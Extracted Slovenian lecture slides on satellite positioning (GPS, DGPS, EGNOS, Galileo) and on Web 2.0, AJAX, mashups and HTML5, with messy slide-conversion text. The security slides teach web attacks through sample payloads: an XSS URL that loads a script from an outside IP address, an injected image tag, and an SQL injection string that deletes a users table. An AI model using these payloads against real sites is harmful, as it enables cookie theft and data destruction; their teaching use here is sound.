3D: PRESEK

- DVEH KROGEL = KROŽNICA

- TREH KROGEL = 2 TOČKI

- ŠTIRIH KROGEL = 1 TOČKA
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DoloDoloččitev poloitev položžajaaja

� Osnova za določitev položaja je merjenje razdalje do satelitov

� lokacije satelitov so znane iz oglaševanj njihovih oddaj

� uporaba almanaha in efemerid

� razdalja se v sprejemniku določi z meritvijo časa potovanja signala

� razdalja JE čas potovanja signala do sprejemnika KRAT hitrost svetlobe

� meritev časa mora biti zelo natančna in stabilna

� napaka 1 µS povzroči napako 300 metrov
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Zagon sprejemnika GPSZagon sprejemnika GPS

Izhodišče za izračun TTFF:

• 32 kanalov (C/A kod)

• 2046 faz korelacije (zamiki)

• 20 korakov frekvence (Doppler)

• trajanje enega pregleda 1ms

(32) x (2046) x (20) x 1ms = 1309 s

12 kanalni sprejemnik zahteva:

(1309) / 12 = 109 sekund

� Čas do prve določitve lokacije TTFF (Time To First Fix)

� hladni zagon (Cold Start) > 60 s

� pred določitvijo lokacije mora dobiti še almanah

� celoten almanah se sprejme v cca. 15 min

� ni znane lokacije, ure, efemerid

� topli zagon (Warm Start) od 30-45 s

� almanah je shranjen in znan

� zadnja lokacija je znana na 100 km

� čas je znan na ± 30 minut UTC

� efemeride niso veljavne (> 2h)

� vroč zagon (Hot Start) – nekaj sekund

� podatki o satelitih so shranjeni in veljavni

� zadnja lokacija je znana in blizu trenutne

� čas je znan
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Vpliv razporeditve satelitovVpliv razporeditve satelitov

� Odstopanje natančnosti DOP (Dilution of Precision)

� dobesedni prevod: slabljenje oz. redčenje preciznosti

� Vrste identificiranih odstopanj

� HDOP: horizontalni DOP

� VDOP: vertikalni DOP

� PDOP: pozicijski DOP

�

� TDOP: časovni DOP

� GDOP: geometrijski DOP

�

� Odvisno od postavitve satelitov

� zaželena enakomerna porazdeljenost

Meritve niso zanesljive za uporabo izmerjenih

koordinat.
Slabo21-50

Lokacijski odčitki niso dovolj zanesljivi, možna

le uporaba za določanje območja.
Zadostno9-20

Meritve lokacije se lahko uporabijo za nadaljnje

izračune, ki natančnost izboljšajo.
Zmerno7-8

Najnižja vrednost za poslovne odločitve, še

vedno dovolj za zadovoljivo cestno navigacijo.
Dobro4-6

Natančnost zadostuje vsem razen najbolj

zahtevnim aplikacijam.
Odliččččno2-3

Najvišja stopnja, namenjena aplikacijam z 

navišjo zahtevo po natančnosti.
Idealno1

OpisOcenaDOP
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Viri napak pri satelitskem lociranjuViri napak pri satelitskem lociranju

� Natančnost določitve položaja z GPS-om

� odvisno od števila sprejemanih satelitov

� geometrijske razporeditve satelitov na nebu 

� stanja atmosfere

� namernih napak (SA)

� Viri napak se največkrat skrivajo v

� atmosferi

� ionosfera in troposfera uklanjata pot signala 

� odbojih od reflektivnih površin

� voda, velike zgradbe

� prekinitvah signala

� zaradi drevja, listja, iglic ipd.

� urah v sprejemniku ali satelitu ...

Natančnost ur ± 2 m
Napake efemerid ± 2.5 m
Vplivi ionosfere ± 5 m
Napaka troposfere ± 0.5 m
Večpotje signalov ± 1 m
Napake pri izračunu ± 1 m
SA motnje < 100 m

Troposfera

http://www.kowoma.de/en/gps/errors.htm
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ReferenReferenččno omreno omrežžje SIGNALje SIGNAL

� SIGNAL (SlovenIja-Geodezija-NAvigacija-Lokacija)

� državno omrežje neprekinjeno delujočih 15 GPS-postaj po vseh državi

� približno enakomerna razporejenost po območju države

� kakovost določitve položaja je obratno sorazmerna z oddaljenostjo od reference

� centimetrska natančnost v primeru dolžine stranice trikotnika < 70 km
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GSM podatkovna 

povezava med DGPS 

sprejemnikom in 

referenčno bazno postajo

Referenčna 
bazna postaja

in strežnik

DGPS 
sprejemnik

ZNAN RAZMIK 
do ~ 500 km

Uporaba diferencialnega sprejemaUporaba diferencialnega sprejema

� Arhitektura sistema DGPS

� vsebuje sekundarno referenčno merilno postajo GPS 

� zahteva prenos podatkov iz referenčne postaje do sprejemnika DGPS

� Delovanje

� referenčna postaja izračunava razlike za svojo lokacijo in čas

� razlike v obliki popravkov psevdorazdalj se pošljejo na sprejemnik

� sprejemnik pri izračunu upošteva lasten sprejem in popravke

� znatno izboljšanje natančnosti na nekaj cm (fazna meritev)

� Pogoji

� sprejemnika morata videti vsaj

nekaj istih satelitov

� oddaljenost do 500 km
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Uporaba funkcionalnosti AUporaba funkcionalnosti A--GPSGPS

� Dve obliki asistence A-GPS (angl. Assisted GPS)
� pohitritev zagona sprejemnika in izboljšanje občutljivosti

� dostava podatkov o almanahu, točnem času, premikih frekvenc ...

� zagonski čas (TTFF) se zmanjša iz 120 na do 10 sekund

� možnost lociranja tudi ob nepopolno sprejetih sporočilih (+20 dB)

� prenos kompleksnega izračuna lokacije na omrežne strežnike

� pošiljanje nepopolno izmerjenih podatkov na strežnik

� hitrejša ocenitev lokacije zmanjšuje čas aktivnega stanja sprejemnika

� selitev računanja v omrežje zmanjšuje potrebo po CPU

� nižja cena kot samostojni sprejemnik GPS

� Uporaba v mobilnih telefonih
� asistenca se zagotovi

� preko avtonomnih oddaj baznih postaj

� preko internetnih strežnikov

� z uporabo arhitekture omrežij GSM in WLAN
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Dopolnilni sistem EGNOSDopolnilni sistem EGNOS

� SBAS (Satellite Based Augmentation Systems)

� opazovanje delovanja sistemov GPS in GLONASS

� sporočanje diferencialnih popravkov na sprejemnike

� zagotavljanje visoke natančnosti in razpoložljivosti

� EGNOS

� uraden začetek: 1. 10. 2009, signali na voljo od 2005

� oddaja popravkov preko 3 GEO SAT

� zbiranje podatkov na 34 postajah 

� izboljšanje natančnosti

� 5 m vertikalno

� 2 m horizontalno

� podpora terminalne opreme

� večina sodobnih sprejemnikov



3232

GalileoGalileo

� Evropska pobuda po neodvisnosti GNSS

� zagotavljanje v dveh postopnih korakih

� GNSS-1 (EGNOS, začetek delovanja 2005-2009)

� GNSS-2 (Galileo, začetek delovanja 2015-2019?)

� skupni program ESA (European Space Agency) in EC (EU Comission)

� dosežen sporazum med ZDA in EU za uporabo skupnega civilnega nosilca

� Trenutni razvoj sistema

� Giove-A: izstreljen 28. 12. 2005 (oddaja na L1+E5 ali L1+E6)

� Giove-B: izstreljen 27. 4. 2008 (oddaja na dveh frekvencah)

� predvideno nadaljevanje

� IOV (In Orbit Validation) + 2 satelita

� FOC (Full Operational Capability)
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GalileoGalileo storitvestoritve

Certified 

receivers

• Aviation (A)

• Maritime (C)

• Road, Train (A)

• As above at higher performance levels suitable for 

stringent dynamic conditions

Double 

frequency 

(Level A 

and C) 

PRS

SoL

CS

OS

• Law enforcement

• Strategic 

infrastructure

• As OS + 

• High Continuity (in times of crisis)

• Improved Robustness ( vs jamming, spoofing)

Public 

Regulated 

Service

• Emergencies• Almost instantaneous reception of emergency calls

• Exact positioning of emergency beacon

Search and 

rescue

Certified 

receivers

• Aviation (en route)• As OS + 

• Integrity and authentication of signal

• Continuity and service guaranty

Single 

frequency 

(Level B)

Safety of 

Life Service

• Professional markets 

(e.g., surveying, 

precision agriculture)

• Increased accuracy using additional frequencies 

and signals

• Additional features under investigation (e.g., data 

rate capacity)

Commercial 

Service

Prosta• High end mass market 

(e.g., car navigation, 

maritime)

• As above + increased accuracy with 2 nd frequencyDvojna

frekvenca

• Low end mass market 

(e.g., LBS, outdoor)

• Additional satellites for better multi -system 

coverage (e.g., deep urban)

• Coding and modulation advances for increased 

sensitivity and multi -path mitigation

• Pilot signal for fast acquisition 

Open 

Service

AvailabilityTarget user groupsBenefitsReceiverService

• Aviation (A)

• Maritime (C)

• Road, Train (A)

• As above at higher performance levels suitable for 

stringent dynamic conditions

(Nivo A, C)

SAR

PRS

SoL

CS

OS

Nadzorovana• Law enforcement

• Strategic 

infrastructure

• As OS + 

• High Continuity (in times of crisis)

• Improved Robustness ( vs jamming, spoofing)

Public 

Regulated 

Service

• Emergencies• Almost instantaneous reception of emergency calls

• Exact positioning of emergency beacon

Search and 

Rescue

Certificirani

uporabniki

• Aviation (en route)• As OS + 

• Integrity and authentication of signal

• Continuity and service guaranty
(Nivo B)

Safety of 

Life Service

Komercialna• Professional markets 

(e.g., surveying, 

precision agriculture)

• Increased accuracy using additional frequencies 

and signals

• Additional features under investigation (e.g., data 

rate capacity)

Commercial 

Service

• High end mass market 

(e.g., car navigation, 

maritime)

• As above + increased accuracy with 2 nd frequency

Prosta• Low end mass market 

(e.g., LBS, outdoor)

• Additional satellites for better multi -system 

coverage (e.g., deep urban)

• Coding and modulation advances for increased 

sensitivity and multi -path mitigation

• Pilot signal for fast acquisition 

Ena

frekvenca

Open 

Service

DosegljivostCiljna skupinaPrednostiSprejemStoritev

Certificirani

uporabniki

Certificirani

oddajniki

Dvojna

frekvenca

Ena

frekvenca

Dvojna

frekvenca

Dvojna

frekvenca

Ena

frekvenca
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Primerjava satelitskih sistemovPrimerjava satelitskih sistemov

� GPS – 31 (32) satelitov v 6 orbitalnih ravninah (ω = 11 h 58 min)

� GLONASS – 21 (24) satelitov v 3 orbitalnih ravninah (ω = 11 h 15 min)

� Galileo – predvidenih 27 (30) satelitov v 3 ravninah
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Prihodnost GNSSPrihodnost GNSS

� Globalne postavitve

� GPS (32)

� GLONASS (30)

� Galileo (27)

� Compass (30)

� Regionalne postavitve

� QZSS (3)

� IRNSS (7)

� Compass (5)

� Pomožni sistemi

� WAAS (2+1)

� MSAS (2)

� EGNOS (3)

� GAGAN (2)

� SDCM (2)

GPS

QZSS

GALILEO
COMPASS

IRNSS

GLONASS
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dr. Urban Sedlar 
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Vsebina 
 Evolucija spleta 
 Definicija Web 2.0 
 Primeri storitev 
 AJAX in Mashupi  
 Varnost 
 HTML5 
 Future internet in računalništvo v oblaku 
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Evolucija spleta 
              Web 1.0 

 
 
 
 
 
 
 

 
 Zaprtost 

 ni izmenjave podatkov 
 

 Statične strani 
 logika se izvaja na serverju 

 
 

                  Web 2.0 
 
 
 
 
 
 
 

 
 Sodelovanje  

 med aplikacijami  
 med uporabniki (kolaboracija) 

 

 Dinamične aplikacije, bogata 
vsebina (slike, zvok, video) 

 Splet kot platforma 
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Kaj je Web 2.0 
 Kratka definicija 

 “Build applications that harness network effects to get better the 

more people use them. ” -- Tim O’Reilly 
 Interaktivni splet: “read/write web” 
 Karakterizira ga sodelovanje uporabnikov 

 Youtube, Wikipedija, Digg… 
 Dinamične in prijaznejše spletne strani 

 Javascript, AJAX 
 Web kot platforma 

 razvoj aplikacij, ki združujejo podatke različnih storitev 
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Primeri storitev 
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Prva Web2.0 aplikacija 
 Najbrž Google 
 Problem: kako ugotovimo katere strani 

na spletu so pomembne in katere ne? 
 tako kot to počnejo znanstveniki: 
 revije ki jih bolj citiraš so točkovane višje 

 
 na internetu je citat “link” 

 stran, na katero linkajo vsi, 
je pomembna 

 to je osnovna ideja Googlovega 
algoritma PageRank 
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Bloganje 
 Gonilo 

 penetracija širokopasovnosti in mobilnosti 
 ne tehnologija! 

 Dinamična domača stran z družabnimi lastnostmi 
 Trackback (Pingback) 
 Comment  

 (Comment spam) 
 Akismet 

 Permalink 
 Preprečuje “link rot” 

 RSS in Atom 
 enostavnost spremljanja sprememb 
 številne aplikacije 

 Microblogging 
 Twitter 
 Kratka sporočila (do 160 znakov) 
 pošiljanje preko IM ali SMS 
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Podcasting 
 Osebna radijska postaja 

 “demokratizacija radia” 
 Tehnologija 

 snemanje Skype pogovorov 
 distribucija avdio datotek preko RSS 

 Dostopnost 
 ljudje s posebnimi potrebami (branje blog postov za slepe) 

 Mobilnost 
 ustvarjalcev 
 poslušalcev (poslušanje z običajnim MP3 predvajalnikom) 

 Mobilni terminali s predvajalnimi zmogljivostmi 
 (sinhronizacija preko ustreznega softvera) 
 Nokia, Motorola, Sony Ericsson 
 iPod/iPhone 
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Video sharing 
 Flash video 

 enoten format: FLV kontejner in h263/h264 video 
 deluje v vsakem brskalniku z naloženim Flashom 

 Družabne funkcionalnosti 
 Video odgovori 
 tekstovni komentarji, ratingi 

http://www.metacafe.com/
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youtube.com/my_speed 

YouTube 
 Več kot 1 mrd. ogledov dnevno 

 Na spletni strani in preko embeddov  
 preko aplikacij (npr. iPhone, Android) 

 20+ ur novega videa vsako minuto 
 17 mrd. iskanj na mesec 

 Več kot Yahoo (9 mrd.) 
 Vsebine 

 HD 480p, 720p, 1080p (1920x1080) 
 Do 24MB (200 Mbit) za minuto videa 
 Peering za zniževanje stroškov tranzita 
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Soustvarjanje vsebin 
 Spletne strani, ki jih lahko ureja vsak 

 posebna sintaksa (formatiranje, linki) 
 vse spremembe se hranijo v arhivu 

 za kvarjenje strani ni več motivacije,  
če je spremembe enostavno odstraniti 

 Wikipedija 



14 / 66 

Kdo ustvarja te vsebine 
 Uporabniki 
 Spremembe v kulturi 

 preveč prostega časa 
 TV požre ves “umski presežek” 

 Ocenjen vložek za izdelavo Wikipedije 
 (vse vsebine, vsi jeziki in ves softver) 
 100 milijonov ur 

 Vsak vikend v USA 
 100 milijonov ur samo za gledanje reklam po TV (1 wikipedija) 

 Letno: 
 2000 Wikipedij samo v USA gre za TV 
 10.000 Wikipedij letno na celem svetu za TV 

 Dovolj je izdolbsti le delček procenta iz tega časa 
 Odlična prezentacija: Clay Shirky http://blip.tv/file/855937 

http://blip.tv/file/855937
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Socialna omrežja 
 Veliko igralcev 

 Myspace, Facebook, Hi5, Orkut 
 wikipedija našteje > 130 portalov 

 

 Predpostavka 
 druženje 
 dodajanje prijateljev, 
 vzdrževanje stikov, 
 sporočanje, pošiljanje daril,  
 zabavne aplikacije (igre, ocenjevanja) 

 

 Past 
 zasebnost 

(vse informacije so lahko dostopne 
vsem, dokler tega ne  
spremenimo) 

 BBC-jev eksperiment 
 

 Platforma 
 Facebook omogoča 

tretjim osebam razvoj aplikacij, 
ki uporabljajo core  
funkcionalnosti Facebooka 



16 / 66 

Mobilna socialna omrežja 
 Poenotene komunikacije 

 lokacijsko ozaveščene (GPS/WiFi/Cell ID) 
 Facebook aplikacija za iPhone 
 +prilagojena mobilna spletna stran 

 
Facebook iPhone, 

iPod Touch 

430 mio  
uporabnikov 

+137% zadnje leto 
57 mio  

uporabnikov 
+166% zadnje leto 

350K aplikacij 
500M downloadov 

70 mio 
+600% 
zadnje 

leto 
85K aplikacij 

2B downloadov 

Android 
telefoni 

 

Netbooki 
(39 mio) 

iPad (3G) 

Bralniki  
e- knjig (3G) 
(Kindle: 1mio) 
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Priporočilni sistemi 
 Information overload (preveč zanimivih informacij!) 

 izbira informacij s pomočjo “prijateljev” 
 tagging (označevnje  iskanje informacij po oznakah) 
 Google (PageRank) 

 
 Uporabno za: 

 novice: Digg, Slashdot,.. 
 vsebine (slike, glasbo, knjige): Flickr, Amazon, Last.fm 
 bookmarke (del.icio.us) 

http://www.last.fm/
http://amazon.com/ref=topnav_gw_gw/102-5843059-9965761
http://flickr.com/
http://images.google.com/imgres?imgurl=http://www.actualite-en-ligne.com/IMG/siteon50.png&imgrefurl=http://www.actualite-en-ligne.com/-Software-&h=24&w=100&sz=2&hl=en&sig2=LYXMgI6mJBY0z4OxPt52Cg&start=25&tbnid=8SA1naDbEZZ28M:&tbnh=20&tbnw=82&ei=nSY-RYO-L4KYRc-svBE&prev=/images%3Fq%3Dslashdot%26start%3D18%26imgsz%3Dicon%26ndsp%3D18%26svnum%3D10%26hl%3Den%26lr%3D%26sa%3DN
http://images.google.com/imgres?imgurl=http://www.techcrunch.com/wp-content/uploads/2006/02/rojologo.jpg&imgrefurl=http://www.techcrunch.com/2006/03/16/rojo-gets-relevant/&h=106&w=175&sz=4&hl=en&sig2=-1pHQ1WES_3fstMN3rfpxA&start=22&tbnid=nRoaYcNu1uqR_M:&tbnh=61&tbnw=100&ei=BCc-RZ2ALYWCRaSFgBM&prev=/images%3Fq%3Drojo%2Bfeed%26start%3D18%26imgsz%3Dsmall%257Cmedium%257Clarge%257Cxlarge%26ndsp%3D18%26svnum%3D10%26hl%3Den%26lr%3D%26sa%3DN
http://www.techmeme.com/
http://images.google.com/imgres?imgurl=http://iml104.iml.annenberg.edu/2006spring/images/pierson_digg.gif&imgrefurl=http://iml104.blogspot.com/&h=170&w=300&sz=20&hl=en&sig2=H8JD3pOM778JV_jTF8bYhQ&start=25&tbnid=WLVq98RSMuHH8M:&tbnh=66&tbnw=116&ei=YCc-RfffEYKaRZK0sRY&prev=/images%3Fq%3Ddigg%2Blogo%26start%3D18%26imgsz%3Dsmall%257Cmedium%257Clarge%257Cxlarge%26ndsp%3D18%26svnum%3D10%26hl%3Den%26lr%3D%26sa%3DN


19 / 66 

Pametna uporaba podatkov 
 Data = next “Intel Inside” 
 “Crowdsourcing” 
 Google spell checker 

 deluje samo z analizo iskalnih pojmov 
 uporabnik najprej išče “Britney Speras” 
 ker ni zadetkov, popravi na “Britney Spears” 

 Spam v Gmailu 
 nekaj uporabnikov označi mail kot spam 
 sistem lahko vsem ostalim uporabnikom isti mali vrže v spam 

 reCaptcha 
 captcha je popačen tekst; le ga lahko preberete,  

dokažete, da ste človek 
 Completely Automated Public Turing test  

to tell Computers and Humans Apart 

 reCaptcha uporablja skenirane besede,  
ki jih OCR ne prepozna 
 uporabniki delajo OCR 



News feedi 
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News feedi 
 “Novičarski kanali” 
 Avtorji objavljajo vsebine v posebnem formatu 

 na katerega se lahko uporabniki naročijo 
 najpogostejša formata RSS in Atom 

 

 Uporabniki se lahko s posebnimi bralniki novic  
(feed readerji) naročijo na vsebino 
 bralnik periodično preverja, če se je feed osvežil 
 večina brskalnikov ima že vgrajene bralnike novic 

 Firefox Live bookmarks 
 Safari 
 IE7 
 Opera 
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RSS – Primer: RSS je XML 
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Naročanje na novice 
 Namizni programi (več deset, tudi kot dodatki za Outlook) 
 Spletni readerji: Bloglines, Google reader  

 
 
 
 
 
 
 
 
 



AJAX 
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AJAX 
 Asynchronous Javascript and XML 

 
 Skupek tehnologij 

 XHTML in CSS 
(oblikovanje strani) 

 DOM (dostop do  
modela strani) 

 XMLHttpRequest  
(asinhrona izmenjava  
podatkov s strežnikom) 

 XML, JSON (podatki) 
 

Vir: www.adaptivepath.com 
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AJAX 
 AJAX omogoča: 

 da spletne strani delujejo kot programi 
 ter komunicirajo s strežnikom v ozadju (brez reloada) 

 
 



Mashupi 
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Kaj je mashup? 
 Spletna aplikacija, ki združuje podatke iz več virov 

 primer 
 prikaz lokacij na zemljevidu 

 uporaba kartografskih podatkov storitve Google Maps 
 za vse rabljene avtomobile, ki ustrezajo določeni poizvedbi 

 preko poizvedbe na eBayu 
 

 Podatki se lahko nahajajo kjerkoli 
 različni ponudniki 
 podatke ponujajo preko ustreznih API-jev 

 

 Orodja za izdelavo mashupov 
 Yahoo! Pipes, Google Mashup Editor, MS Popfly 

 

 Združevanje podatkov se lahko vrši na strežniku ali v 
spletnem brskalniku 
 server-side oz. client-side mashupi 
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Primer: eBay + Google Maps 
 http://www.dudewheresmyusedcar.com/  
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Dogajanje za kulisami (1/2) 
 Naloži se 28 

Javascript 
datotek 
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Dogajanje za kulisami (2/2) 
 Ko uporabnik naredu poizvedbo, stran kontaktira eBay API 

 
 
 
 
 
 

 eBay vrne podatke s poštnimi številkami prodajalcev 
 stran nato povpraša Google Maps API kje se nahajajo 

dobljene poštne številke 
 ter prikaže bucike na zemljevidu 
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Analogija 
 Web kot operacijski sistem 

 operacijski sistem zagotavlja različne vire (resurse) 
 networking, grafika, hramba podatkov, pošiljanje sporočil 

 storitve različnih ponudnikov so viri 
 zemljevidi, katalog slik, videoposnetkov, disk 

 

Vir: http://blogs.zdnet.com/BTL/?p=2484 
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Spletne storitve, uporabne za mashupe 
 Google maps 
 Amazon S3 (shranjevanje podatkov) 
 Amazon EC2 (virtualni serverji) 
 Flickr 
 Google Calendar 
 Youtube 
 eBay 
 Twitter, 
 Alexa, 
 Amazon 

… 
ProgrammableWeb beleži APIje ~2000 različnih storitev 
(iz njih je narejeno ~4800 mashupov)  
 

 Primeri: 
 TwitterVision (prikaz Twitter sporočil na karti) 
 FlickrSudoku (sudoku ki uporablja slike s flickrja) 
 Wii Seeker (iskanje trgovcev z Wii) 

http://www.programmableweb.com/matrix  

http://www.programmableweb.com/matrix
http://www.programmableweb.com/matrix


Varnost 
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Cross-site scripting 
 XSS 
 Nalaganje JS datotek z drugih strežnikov 

 stalna praksa pri različnih storitvah 
 Google Adsense, Google Analytics, StatCounter 

 JS, ki se izvaja na strani 
 lahko bere cookie-je  

 kraja piškotka lahko omogoči login v poljubno storitev 
 spreminja vsebino strani 

 Nalaganje JS datoteke 
 mogoče doseči z oblikovanjem URL-ja 
 primer ranljive strani: 
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Cross-site scripting (2) 
 Predvideno delovanje 

 http://tweb.ltfe.org/urban/xssdemo/index.php 
 

 

 

 

 

 

 http://tweb.ltfe.org/urban/xssdemo/index.php?ime=Urban 
 

http://tweb.ltfe.org/urban/xssdemo/index.php
http://tweb.ltfe.org/urban/xssdemo/index.php?ime=Urban
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Cross-site scripting (3) 
 Nepredvideno delovanje 

 kot ime vstavimo <img src=‘'http://www.google.com/intl/en_ALL/images/logo.gif’> 
 http://tweb.ltfe.org/urban/xssdemo/index.php?ime=%3Cimg%20src='http://www.google.com/in

tl/en_ALL/images/logo.gif'%3E 
 

 
 
 
 

 vstavimo lahko tudi JavaScript spremenimo stran! 
 obiskovanje strani prek linkov v mailih je lahko nevarno! 

 vstavimo <script type='text/javascript'src='http://212.235.185.124/xss_demo/script.js'></script> 

 http://tweb.ltfe.org/urban/xssdemo/index.php?ime=%3Cscript%20type%3D%27text%2Fjavas

cript%27src%3D%27http%3A%2F%2F212.235.185.124%2Fxss_demo%2Fscript.js%27%3E

%3C%2Fscript%3E 

 
 

http://tweb.ltfe.org/urban/xssdemo/index.php?ime=%3Cimg%20src='http://www.google.com/intl/en_ALL/images/logo.gif'%3E
http://tweb.ltfe.org/urban/xssdemo/index.php?ime=%3Cimg%20src='http://www.google.com/intl/en_ALL/images/logo.gif'%3E
http://tweb.ltfe.org/urban/xssdemo/index.php?ime=%3Cscript%20type%3D%27text%2Fjavascript%27src%3D%27http%3A%2F%2F212.235.185.124%2Fxss_demo%2Fscript.js%27%3E%3C%2Fscript%3E
http://tweb.ltfe.org/urban/xssdemo/index.php?ime=%3Cscript%20type%3D%27text%2Fjavascript%27src%3D%27http%3A%2F%2F212.235.185.124%2Fxss_demo%2Fscript.js%27%3E%3C%2Fscript%3E
http://tweb.ltfe.org/urban/xssdemo/index.php?ime=%3Cscript%20type%3D%27text%2Fjavascript%27src%3D%27http%3A%2F%2F212.235.185.124%2Fxss_demo%2Fscript.js%27%3E%3C%2Fscript%3E
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SQL injection 
 V vnosna polja vpišemo niz, ki zaključi SQL stavek 
 Slabo napisane aplikacije tega ne filtrirajo 

 
 

 

 

 

 
 
 
 
 

 V najslabšem primeru je mogoče pobrisati vsebino celotne 
baze 
 slabo nastavljene pravice, slabo napisana aplikacija 

Select * from users  
where username = 'urban' 
and password = '12345' 

Select * from users  
where username = ''; delete * from users;  
--' and password = '12345' 



HTML5 
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HTML5 
 Naslednja različica formata HTML 

 Podpora videu <video src=… /> 
 Shranjevanje podatkov v brskalniku (local storage) 
 Web workers 
 Web sockets 

 nadgradi HTTP povezavo v full duplex 
 strežnik lahko pošlje podatke brskalniku po že vzpostavljeni povezavi 

 Geolokacija 
 JS API za lociranje 

 Canvas 
 risanje z JS;  
 2D in 3D (WebGL) 

 CSS3 
 Font face: podpora poljubnim fontom 
 Prosojnost, rotiranje elementov 
 Zaobljeni robovi, gradienti, sence 

 http://apirocks.com/html5/html5.html#slide1  

http://apirocks.com/html5/html5.html
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HTML5 vs. Flash 
 Povod: naprave brez podpore flashu (iPhone, iPad) 
 HTML5 podpira večino funkcionalnosti 

 Video, fonti, povratna povezava 
 Slideshare najavil popolno migracijo na HTML5 

(vse prosojnice so indeksirane, mogoče je iskanje po tekstu) 
 Podpora HTML5 

 Google Chrome  
 MS IE s Chrome Frame 

 Trenutne prednosti Flasha 
 Dostop do kamere in mikrofona (http://chatroulette.com) 
 peer to peer komunikacija 
 Predvajanje videa z DRM (tega v HTML5 najbrž ne bo nikoli) 

 Flash ne bo izginil 
 Visoka penetracija pomeni, da bo ostal še leta 
 Primerjava: IE6 
 Če Flash umre, od koga bo kopiral HTML6? 

http://chatroulette.com/
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Zmogljivost HTML5 
 Port Quake II v JavaScript 

 uporaba WebGL, HTML5 canvas, HTML5 audio in Websockets,  
HTML5 local storage 

 online multiplayer, 60fps, teče v Chrome in Safariju (Webkit) 
 



OpenGL 
 Kaj je OpenGL 

 Open graphics library 
 definira standardne vmesnike za izdelavo 2D in 3D aplikacij 
 čez 250 različnih metod, ki so podprte tudi v GPU-jih 
 primeren za visokoperformančne aplikacije (igre, vizualizacije) 

 OpenGL ES 2.0 (embedded systems) 
 podprt podmnožica polne OpenGL specifikacije 
 Sodobni brskalniki (Chrome, Firefox, Safari) 
 iOS in Android 

 Prednosti 
 standardiziran  GPU podpora  visoke performance 
 napiši enkrat, poganjaj povsod (brskalnik, iPhone, Android, exe) 



Ideja OpenGL 
 Lastni podatkovni tipi 

 neodvisni od platforme (16/32/64bit) 
 GLint, GLfloat, ipd. namesto int, float 

 Predpostavlja 3D koordinaten sistem 
 v njem definiramo točke (x,y,z) 



OpenGL: za občutek 
 Poligoni 
 Na definirane točke napnemo poligon (tj., trikotnik) 

 nič drugega kot trojica točk 
 
 

 Poligon naložimo v spomin grafičnega procesorja 
 uporabimo standardizirane OpenGL metode (prefix gl) 
 resetiranje scene 

 glLoadIdentity();  
 nastavimo tip  
 nastavimo barvo 

 glColor4f(1.0, 0.0, 0.0, 1.0);  
 naložimo koordinate 

 glVertexPointer(3, GL_FLOAT, 0, &triangle);  



Primer WebGL: Google WebGL Globe 
 http://data-arts.appspot.com/globe-search 

 

http://data-arts.appspot.com/globe-search
http://data-arts.appspot.com/globe-search
http://data-arts.appspot.com/globe-search
http://data-arts.appspot.com/globe-search
http://data-arts.appspot.com/globe-search


Primer: Angry Birds 
 http://chrome.angrybirds.com/ 
 Prvotno razvito za iPhone / Android 
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http://chrome.angrybirds.com/


Mobilne spletne aplikacije 
 Na večini pametnih mobilnih telefonov danes teče sodoben 

spletni brskalnik 
 Webkit 

 Mogoč razvoj bogatih aplikacij na osnovi spletnih 
tehnologij 
 razširitev za jQuery – jQtouch 

 bogate animacije in prehodi 
 simulacija nativne mobilne aplikacije 
 http://jqtouch.com/  

 Sencha Touch 
 vtičniki za Wordpress in druge CMS platforme 

 WPtouch: vtičnik, ki Wordpress blog preoblikuje  
v mobilno stran 

 Vedno več API-jev za funkcionalnosti telefona, 
senzorje, ipd. 

http://jqtouch.com/


Primer: geolokacija 
 JS vpraša brskalnik  

 brskalnik vpraša OS 
 OS odgovoi brskalniku 
 brskalnik odgovori JS s klicom callback procedure 



Primer: geolokacija 
 



Prihodnost 
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Pogled naprej 
 Web 1.0 

 statične HTML strani, večinoma besedilo 

 Web 2.0 
 Dinamične spletne strani, AJAX (osveževanje v ozadju) 
 Fokus na odprtih API-jih ( komunikacija med aplikacijami) 
 Fokus na uporabniški prijaznosti 

 Web 3.0 (Semantic Web) 
 semantično označevanje vsebine, mikroformati 

(<cena>100EUR</cena>) 
 problem s standardizacijo in uvajanjem (veliko nevzdrževanih vsebin) 
 Vse večji pomen “semantičnih proksi strežnikov” 

 organizacija in “semantizacija” obstoječih informacij 
 Wolfram Alpha, Google, nišni proksiji z API-ji 

 Web 3.0 mini dokumentarec http://vimeo.com/11529540 
 

http://vimeo.com/11529540
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Uporabniška prijaznost je ključ 
 Primer: podjetji Mint in Yodlee 

 analiza bančnih izpiskov (podobno kot slovenski Toshl) 
 Yodlee 

 razvili dober backend 
 200 zaposlenih; 116 milijonov $ investicije; propadli 

 Mint 
 razvili dober frontend (prijazen vmesnik) 
 preprost backend v oblaku 
 35 zaposlenih;  

35 milijonov $ investicije;  
zmagovalci 
 

 Pomembno pravilo 
 bodi sam svoj uporabnik 
 “eat your own dog food” 

(Paul Newman’s dog food) 
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Vsebinsko-naravnana omrežja 
 Content-Centric Networking 
 Alternativen pristop k omrežni arhitekturi 

 omrežja tradicionalno temeljijo na komunikaciji točka-točka (konverzacija) 
 podobno kot telefonija 
 zadnjo novico s poptv.si strežnik ločeno postreže 50.000 uporabnikom 

 uporaba današnjih omrežij povečini v modelu točka-več točk (diseminacija) 
 strežnik bi lahko novico postregel samo enkrat 
 “vsebinsko naravnan multicast” 

 Vizija prihodnosti iz Palo Alto Research Centra (Nelson, Jacobson) 

 Vsebina (podatki) so ključni 
 Omrežje in omrežna lokacija (naslov) 

sta irelevantna (čisti “bitpipe”) 
 “omrežje” je vse kar prenaša bite 

(mreža, disketa, CD po pošti) 
 Izvor, in ne kanal, mora zagotavljati  

vse vidike varnosti 
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Lifestreaming 
 Shranjevanje podatkov o vseh aspektih življenja 

 elektronska sled, ki jo vsak dan puščamo za seboj 
 idealna za data mining (koledarji, komunikacija, lokacija, življenjske 

funkcije) 
 Številne aplikacije 

 beleženje prehojenih kilometrov 
 ustvarjanje potopisov (geotagging slik) 
 kontekstualno prilagajanje aplikacij in storitev 

 npr. utišanje telefona na sestanku 

 Personal metrics 
 FitBit 
 Beleženje gibanja (pedometer) 

in kvalitete spanja 
 Avtomatsko nalaganje na site 



Osebna medicina in fitnes 
 Širok nabor obstoječih naprav! 

57 / 66 
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Augmented reality 
 Izboljšava realnega sveta  

s prikazom podatkov  
na zaslonu (overlay) 
 GPS + kompas + fotoaparat 

 iPhone in Android aplikacije 
 ter Augmented SDK za razvijalce 

 Prototip Sixth Sense 

 LED projektor + terminal 
 projekcija informacij v okolje 
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Zajem informacij iz okolja 
 Vizualen zajem informacij 

 QR kode, Datamatrix 
 Microsoft Tag 
 LED (Bokode) 

 out-of-focus fotografija 
 Prepoznavanje objektov na sliki 

 Google Goggles 
 

 NFC/RFID 
